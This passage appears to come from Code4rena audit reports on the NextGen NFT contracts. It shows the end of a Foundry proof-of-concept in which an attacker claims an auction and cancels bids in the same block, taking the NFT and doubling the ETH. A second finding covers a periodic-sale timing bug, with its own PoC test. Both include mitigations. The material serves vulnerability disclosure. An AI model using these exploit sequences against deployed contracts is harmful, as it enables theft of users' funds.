114:         bytes memory selector3 = abi.encodeWithSignature("cancelAllBids(uint256)", 10000000000);
115:         vm.prank(attacker);
116:         (bool success4,) = address(auctionContract).call(selector3);
117: 
118:         assertEq(success3, true); //Proves claimAuction() call succeeded
119:         assertEq(success4, true); //Proves cancelAllBids() call succeeded as well
120: 
121:         uint256 attackerNFTBalance = gencore.balanceOf(attacker);
122:         uint256 attackerETHBalance = address(attacker).balance;
123: 
124:         assertEq(attackerNFTBalance, 1); //Attacker should have received the auctioned NFT
125:         assertEq(attackerETHBalance, 6800000000000000000); //Attacker's ETH balance should be double (i.e. 1.8 ETH) his previous active bid of 0.9 ETH plus 5 ETH that is refunded from his highest bid. This proves that not only did the attacker win the auctioned token for free but also doubled the amount of his previous bids.
126:     }
127: }

Tools Used

Manual Review

Recommended Mitigation Steps

The solution is quite straightforward. We can fix either of the two causes mentioned in the beginning to solve the issue:

Solution for 1: Update cancelBid() and cancelAllBids() functions timing related check to "<" instead of "<=" on 1st line:

File: AuctionDemo.sol
124:     function cancelBid(uint256 _tokenid, uint256 index) public {
125:         require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
126:         require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
127:         auctionInfoData[_tokenid][index].status = false;
128:         (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
129:         emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
130:     }
131: 
132:     // cancel All Bids
133: 
134:     function cancelAllBids(uint256 _tokenid) public {
135:         require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
136:         for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
137:             if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
138:                 auctionInfoData[_tokenid][i].status = false;
139:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
140:                 emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
141:             } else {}
142:         }
143:     }

Solution for 2: Set auctionDataInfo for bidder's active bids to false after refunding them (updates on Lines 113 and 118):

File: AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;
107:         uint256 highestBid = returnHighestBid(_tokenid);
108:         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
109:         address highestBidder = returnHighestBidder(_tokenid);
110:         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112:                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                 auctionInfoData[_tokenid][index].status = false;
114:                 (bool success, ) = payable(owner()).call{value: highestBid}("");
115:                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
116:             } else if (auctionInfoData[_tokenid][i].status == true) {
117:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
118:                 auctionInfoData[_tokenid][index].status = false;
119:                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
120:             } else {}
121:         }
122:     }

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L240

Vulnerability details

Impact

The Periodic Sale (sales option 3) does not work as intended if used during both allowlist and public phases. This is because when Periodic Sale model is used in the allowlist phase, some tokens are brought into circulation (as expected). Now when the Periodic Sale for the public phase begins, the first user can mint the token in the first period. But when this is done, the lastMintDate for that collection is set to a date far ahead in the future instead of the next time period.

Due to this issue, there are 3 impacts:

1. The property/invariant of periodicity (i.e. 1 mint/period) is broken since token cannot be minted in the next period
2. The users have to wait for a way longer time to mint the next token than the expected period of time (i.e. timePeriod)
3. This waiting can cause loss of user interest and value (ETH) in the collection, thus hurting the creators of the collection.

Note: This issue can occur in multiple combinations of sales models being used with allowlist/public phases. I tried attempting to jot them down but it was not feasible since there can be 1,2,3 or even more allowlist/public phases being held for a collection, which further increases the phase and sales model combinations. For clarity of understanding in this POC, I've used one simple instance of using Periodic Sale in both allowlist and public phases.

Root Cause: Although there are multiple combinations, one thing I could deduce as the root cause of this issue is that basically anytime the first phase (whether it be allowlist or public using any sales model) brings tokens into circulation supply, it causes the above mentioned impact to occur in the second phase (whether it be allowlist or public but using Sales model 3)

Proof of Concept

Here are few things to note in order to understand the example explanation in the POC better:

1. Consider we use Periodic Sale model (sales option 3) during both allowlist phase and public phase.
2. ALST = allowlistStartTime (short form)
3. Since we are using Periodic Sale model (sales option 3), allowlistStartTime (ALST) is set to publicStartTime (as mentioned in comment here) during public sale.
4. ALST during allowlist phase is 0s , ALST during public phase is 864000s (10 days) (for example purposes I will be using the start of Unix time i.e. 0 for ease of understandability and calculations)
5. Time Period used for Periodic Sale will be 10 minutes

Here is the whole process now:

During Allowlist phase:

1. Allowlisted users call mint() function to mint tokens. Let's say 1000 tokens were minted during this phase. These are the changes made:

• Circulating Supply = 1000 tokens
• lastMintDate = ALST + (Time Period * (Circulating Supply - 1) = 0 + (10 mins * 999) = 9990 mins = 166.5 hours = 6.9 days = 7 days (approx)

lastMintDate equation picked up from Line 252 in else-if block below:

File: MinterContract.sol
239:         // control mechanism for sale option 3
240:         if (collectionPhases[col].salesOption == 3) {
241:             uint timeOfLastMint;
242:             if (lastMintDate[col] == 0) {
243:                 // for public sale set the allowlist the same time as publicsale
244:                 timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
245:             } else {
246:                 timeOfLastMint =  lastMintDate[col];
247:             }
248:             // uint calculates if period has passed in order to allow minting
249:             uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
250:             // users are able to mint after a day passes
251:             require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
252:             lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
253:         }

During Public phase (held 10 days after Allowlist phase):

1. Calling the mint() function to mint tokens is now open to all users. Let's say a user calls mint(). The following happens:

• Circulation Supply = 1000 + 1 (minted by user now) = 1001 tokens
• On Line 242, condition is false so we enter the else block on Line 246, which sets timeOfLastMint to lastMintDate (7 days approx - note still talking in unix time)
• On Line 249, tDiff = (10 days - 7 days)/10 mins = (14400 mins - 10080 mins)/10 mins = 432
• On Line 251, we pass the condition since tDiff (432) > 1 i.e. more than 10 minutes have passed since allowlist phase ended (i.e. 3 days back since today is 10 days (864000s) and allowlist phase ended at 7 days(604800s))
• On Line 252, lastMintDate = ALST + (Time Period * (Circulating Supply - 1) = 10 days + (10 mins * (1001 - 1)) = 10 days + (10 mins * 1000) = 10 days + 10000 mins = 10 days + 7 days (approx) = 17 days
• This is where the problem occurs. We can see from the above calculations that although the start time is 10 days, the next period is not 10 minutes later but in fact 7 days (10000 mins) later on the 17th day (note that still talking in unix time). Due to this users need to wait for 7 days more instead of 10 minutes in order to mint the next token. This would mean loss of interest and value in the collection, which can hurt the collection creators.

lastMintDate equation picked up from Line 252 in else-if block below:

File: MinterContract.sol
239:         // control mechanism for sale option 3
240:         if (collectionPhases[col].salesOption == 3) {
241:             uint timeOfLastMint;
242:             if (lastMintDate[col] == 0) {
243:                 // for public sale set the allowlist the same time as publicsale
244:                 timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
245:             } else {
246:                 timeOfLastMint =  lastMintDate[col];
247:             }
248:             // uint calculates if period has passed in order to allow minting
249:             uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
250:             // users are able to mint after a day passes
251:             require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
252:             lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
253:         }

From the above example, based on the calculations, we can clearly see how the property/invariant of periodicity is broken (i.e. 1 mint/period) in the Periodic Sale model used during both allowlist and public phases. The example also showed how the users and creators of the collections are affected due to the wait time of 7 days instead of the expected 10 minutes.

(Note: In the example, I've only used 1000 tokens minted as the circulating supply during the allowlist phase but as the circulating supply increases during the allowlist phase, the wait time during the public phase increases as well. For example, if 10000 tokens were minted during allowlist phase, the wait time for the next period during the public phase is now 70 days instead of the expected 10 minutes)

Coded POC

There are few things to note in this POC:

• Instead of allowlist phase followed by public phase, I have used public phase 1 followed by public phase 2. The root cause still remains the same (which I mentioned in the beginning).
• Run the test using forge test --match-test testPeriodicSaleDoesNotWork -vvvvv
• Lines 24 to 42 represent the setup.
• In the testSetUpCollection method, max allowance per user to mint during public phase 1 and 2 is set to 2000 and total supply to 100000
• Price to mint token = 4ETH, Time Period = 600s or 10 mins, Sales model 3 in both public phases.
• Allowlist start time is set to public sale start time to use periodic sale model 3
• Public phase 1 start time = 1000s, Public phase 1 end time = 700000 (In foundry, time starts from 0)
• Public phase 2 start time = 1000000s, Public phase 2 end time = 1700000s
• Using such a long span of time since 1000 tokens need to be minted every 10 mins in public phase 1. Although not necessary in public phase 2, since only 2 tokens are being minted.
• In public phase 2, only 2 tokens are minted to show that after first token is minted, the second token is not mintable 10 mins (or 600s) later but at 1600000s (almost close to end time of public phase 2).
• This value of 1600000s is console logged for proof to show lastMintDate is now 1600000, so the next token can only be minted when block.timestamp catches upto it.
• Additionally, the assertEq on Line 87 evaluates to true, which means alice cannot mint even though we skipped to the next period (Line 83)
• In the stack traces we can observe the arithmetic underflow when Alice tries to mint in next period. Note the arithmetic underflow is expected since when calculating tDiff, block.timestamp - timeOfLastMint underflows due to timeOfLastMint (or lastMintDate) being 1600000s (basically instead of reverting with "1mint/period", it reverts with the underflow).
• Make sure to add the POC provided below to the hardhat/test folder before running the forge test --match-test testPeriodicSaleDoesNotWork -vvvvv command.
• I've provided helpful comments to assist while reading the POC and tried to make the function names as self-explanatory as possible as well.

File: TestContract2.sol
01: // SPDX-License-Identifier: MIT
02: 
03: pragma solidity ^0.8.19;
04: 
05: import {Test, console} from "forge-std/Test.sol";
06: 
07: import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
08: import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
09: import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
10: import {randomPool} from "../smart-contracts/XRandoms.sol";
11: import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
12: 
13: contract TestContract2 is Test {
14: 
15:     NextGenMinterContract minter;
16:     NextGenCore gencore;
17:     NextGenAdmins adminsContract;
18:     randomPool xrandoms;
19:     NextGenRandomizerNXT randomizer;
20: 
21:     address alice = makeAddr("Alice");
22:     
23: 
24:     function setUp() public {
25:         //Deployment process - Followed from docs
26:         adminsContract = new NextGenAdmins();
27:         gencore = new NextGenCore("", "", address(adminsContract));
28:         minter = new NextGenMinterContract(address(gencore),address(0) , address(adminsContract));
29:         xrandoms = new randomPool();
30:         randomizer = new NextGenRandomizerNXT(address(xrandoms), address(this), address(gencore));
31:     }
32: 
33:     function testSetUpCollection() public {
34:         string[] memory emptyScript;
35:         gencore.createCollection("Azuki", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript);
36:         gencore.setCollectionData(1, address(0), 2000, 100000, 0);
37:         minter.setCollectionCosts(1, 4000000000000000000, 0, 0, 600, 3,
38:         address(0));
39:         minter.setCollectionPhases(1, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check
40:         gencore.addMinterContract(address(minter));
41:         gencore.addRandomizer(1, address(randomizer));
42:     }
43: 
44:     function testPeriodicSaleDoesNotWork() public payable{
45:         testSetUpCollection();
46:         testPublicPhasePeriodicSale1();
47:         testPublicPhasePeriodicSale2();
48:     }
49: 
50:     function testPublicPhasePeriodicSale1() public {
51:         bytes32[] memory emptyArray;
52:         bytes memory selector = abi.encodeWithSignature("mint(uint256,uint256,uint256,string,address,bytes32[],address,uint256)", 1, 1, 0, "", alice, emptyArray, address(0), 0);
53:         //uint price = minter.getPrice(1);
54:         vm.warp(1000); //Enter public phase 1
55:             for(uint i = 0; i < 1000; i++){
56:                 if(i==0){
57:                     vm.deal(alice, 4000000000000000000);//4ETH for public phase 1
58:                     vm.prank(alice);
59:                     (bool success,) = address(minter).call{value: 4000000000000000000}(selector);
60:                 } else {
61:                     skip(600); //skipping periods to mint 1000 tokens faster
62:                     vm.deal(alice, 4000000000000000000);//4ETH for public phase 1
63:                     vm.prank(alice);
64:                     (bool success,) = address(minter).call{value: 4000000000000000000}(selector);
65:                 }
66: 
67:         }
68:     }
69: 
70:     function testPublicPhasePeriodicSale2() public {
71:         bytes32[] memory emptyArray;
72:         bytes memory selector = abi.encodeWithSignature("mint(uint256,uint256,uint256,string,address,bytes32[],address,uint256)", 1, 1, 0, "", alice, emptyArray, address(0), 0);
73:         minter.setCollectionPhases(1, 1000000, 0, 1000000, 1700000, 0); //Set allowliststarttime to public sale start time to pass check// Updating times for public phase 2 as the admin would
74:         vm.warp(1000000); // To enter public phase 2
75:         uint time = block.timestamp;
76:         console.log(time);
77:         for(uint i = 0 ; i < 2 ; i++){
78:             if(i==0){
79:                 vm.deal(alice, 4000000000000000000);//4ETH for public phase 2
80:                 vm.prank(alice);
81:                 (bool success,) = address(minter).call{value: 4000000000000000000}(selector);
82:             } else {
83:                 skip(600); //Skipping to next period 2
84:                 vm.deal(alice, 4000000000000000000);//4ETH for public phase 2
85:                 vm.prank(alice);
86:                 (bool success,) = address(minter).call{value: 4000000000000000000}(selector);
87:                 assertEq(success, false);  // This here and the two lines below are the proof 
88:                 uint256 lastMintDate = minter.lastMintDate(1);// that users now have to wait for longer time
89:                 console.log("LastMintDate:", lastMintDate);// Note the arithmetic overflow is expected since when calculating tDiff, block.timestamp - timeOfLastMint underflows due to timeOfLastMint being way ahead in future i.e. 1600000
90:             }
91:         } 
92:     }
93: 
94: }

Tools Used

Manual Review

Recommended Mitigation Steps

We can see the issue arises due to tokens being brought into the circulation supply during allowlist phase, which then during the public phase increases the lastMintDate due to timePeriod * circulationSupply being added to the start time of the public sale.

It is hard to boil down to a specific solution (such as only limiting sales model 3 to allowlist phase) since there can be two allowlist phases as well, which still causes the same issue. Basically anytime the first phase (whether it be allowlist or public) brings tokens into circulation supply, it causes this issue.

The only solution I can think of is to limit the Periodic Sale model (sales model 3) to the first allowlist or public phase that is ever conducted for the collection. Thereafter, using the periodic sale model will cause the problem mentioned in this POC.

Assessed type

Math